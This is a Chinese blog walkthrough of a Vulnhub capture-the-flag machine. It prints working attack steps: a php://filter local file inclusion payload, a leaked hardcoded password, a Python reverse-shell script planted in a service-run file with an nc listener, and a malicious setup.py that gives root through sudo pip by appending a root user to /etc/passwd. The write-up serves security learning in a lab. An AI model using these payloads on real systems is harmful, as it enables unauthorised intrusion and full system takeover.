1. 程式人生 > >帶妹玩轉Vulnhub【七】

帶妹玩轉Vulnhub【七】

前言

國慶第一天,不太想撩妹,再寫點東西,增加點產量,嚴肅臉?

開始

主機發現

netdiscover -r 192.168.43.0/24

在這裡插入圖片描述

埠掃描

nmap -A -p- -T4 192.168.43.76 在這裡插入圖片描述

滲透測試

子目錄掃描

在這裡插入圖片描述

訪問80,掃到的每個頁面都看一下,以及原始碼。

在這裡插入圖片描述

可以知道作者為mamadou 而且這裡存在檔案包含漏洞(現學現賣)參考連結

經過各種嘗試,最終使用如下payload http://192.168.43.76/?lang=php://filter/convert.base64-encode/resource=index

可以得到一段base64加密程式碼,這應該就是index.php

的原始碼

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=

這裡除了可以通過正常訪問網頁來獲取程式碼,也可以使用curl工具。 命令如下curl http://192.168.43.76/?lang=php://filter/convert.base64-encode/resource=index

這樣便可以較為方便得到base64加密的程式碼

解密後得到

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Vibranium market"> <meta name="author" content="mamadou"> <title>Vibranium Market</title> <link href="bootstrap.css" rel="stylesheet"> <link href="cover.css" rel="stylesheet"> </head> <body class="text-center"> <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column"> <header class="masthead mb-auto"> <div class="inner"> <h3 class="masthead-brand">Vibranium Market</h3> <nav class="nav nav-masthead justify-content-center"> <a class="nav-link active" href="#">Home</a> <!-- <a class="nav-link active" href="?lang=fr">Fr/a> --> </nav> </div> </header> <main role="main" class="inner cover"> <h1 class="cover-heading">Coming soon</h1> <p class="lead"> <?php if (isset($_GET['lang'])) { echo $message; } else { ?> Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned! <?php } ?> </p> <p class="lead"> <a href="#" class="btn btn-lg btn-secondary">Learn more</a> </p> </main> <footer class="mastfoot mt-auto"> <div class="inner"> <p>Made by<a href="#">@mamadou</a></p> </div> </footer> </div> </body></html>

從原始碼中很明顯的可以看到一個檔案包含漏洞,並且獲得了密碼Niamey4Ever227!!!,嘗試ssh登陸,得到一個python的shell

在這裡插入圖片描述

通過一些簡單的程式碼,便可以獲得tty import pty pty.spawn("/bin/bash")

在這裡插入圖片描述

很輕易的可以發現幾個falg,但是有一個我們當前使用者似乎沒有許可權。

在這裡插入圖片描述

我嘗試全域性搜尋flag關鍵字,這裡提到一個搜尋的技巧 find / -name flag 2>/dev/null 這樣就可以避免很多報錯 我嘗試檢視devops使用者所在的組:

在這裡插入圖片描述

就我們現在手裡所擁有的資訊來看,想要爆破出devops使用者的密碼似乎不太可能。但是可以看到devops使用者和組號是不同的,因此我們可以嘗試往1002組中新增一個使用者。

因此我們嘗試搜尋所屬1002組的檔案 find / -group 1002 2>/dev/null

在這裡插入圖片描述 這裡發現一個十分可疑的檔案/srv/.antivirus.py,該檔案對其他使用者是可讀寫的,並且我們可以使用pyhton執行一個指令碼。

在這裡插入圖片描述

因此我們完全可以寫一個反向shell,這樣我們便擁有了devops使用者的許可權,這大概就是因為許可權設定錯誤而導致大致命問題吧! 程式碼如下: 參考連結

#!/usr/bin/python2
"""
Reverse Connect TCP PTY Shell - v1.0
infodox - insecurety.net (2013)

Gives a reverse connect PTY over TCP.

For an excellent listener use the following socat command:
socat file:`tty`,echo=0,raw tcp4-listen:PORT

Or use the included tcp_pty_shell_handler.py
"""
import os
import pty
import socket

lhost = "127.0.0.1" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
	
if __name__ == "__main__":
    main()

我們需要使用devops使用者執行該python程式碼,要知道伺服器上不會平白無故出現一些不該出現的檔案,我們繼續搜尋

grep -rnw / -e '.antivirus.py' 2>/dev/null

在這裡插入圖片描述

似乎antivirus.service服務會執行該指令碼,我們使用nc -lvp 2333監聽2333埠,過一會便自動連線上了(本來我還想重啟該服務,看來是不需要了?)

在這裡插入圖片描述

這樣我們便拿到了一個flag

在這裡插入圖片描述

僅僅擁有devops使用者的許可權還遠不夠,我們需要獲取root許可權,才能達到終極目的。 通過sudo -l,我們可以知道該使用者可以使用root許可權執行pip命令,這真是令人又驚又喜。

在這裡插入圖片描述

就我們熟悉的,可以使用pip setup.py install命令來安裝一個模組,那麼我們完全可以模仿著寫一個。 參考連結 程式碼如下:

#!/usr/bin/python
#Rename to setup.py before use
#Run: sudo /usr/bin/pip install . --upgrade --force-reinstall
#Get root shell: su delo
#password is dsrrocks
from setuptools import setup
from setuptools.command.install import install
import os

class CustomInstall(install):
    def run(self):
        install.run(self)
        os.system('echo delo:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh >> /etc/passwd')

setup(name='delopip',
      version='1.1.1',
      description='exploit sudo pip permissions',
      url='https://github.com/delosec',
      author='delo',
      author_email='[email protected]',
      license='MIT',
      zip_safe=False,
      cmdclass={'install':CustomInstall})

我們可以使用python內建的http伺服器開啟一個檔案服務 python -m SimpleHTTPServer 8080

在這裡插入圖片描述

成功執行sudo /usr/bin/pip install . --upgrade --force-reinstall後,我們便將delo使用者新增到root使用者組了。

在這裡插入圖片描述

而後我們可以使用su delo進行登陸,此時的我即具備了root許可權。

在這裡插入圖片描述

#總結 該靶場讓我更加深入的理解了,對於linux系統許可權配置的重要性,原來一個不小心許可權的濫用,會最終導致root許可權被攻克,看來以後在打awd可以仔細的思考下?主辦方的許可權配置問題了!?

今天沒有妹子的告白 帶妹是不可能帶妹的,這輩子都不可能帶妹的。?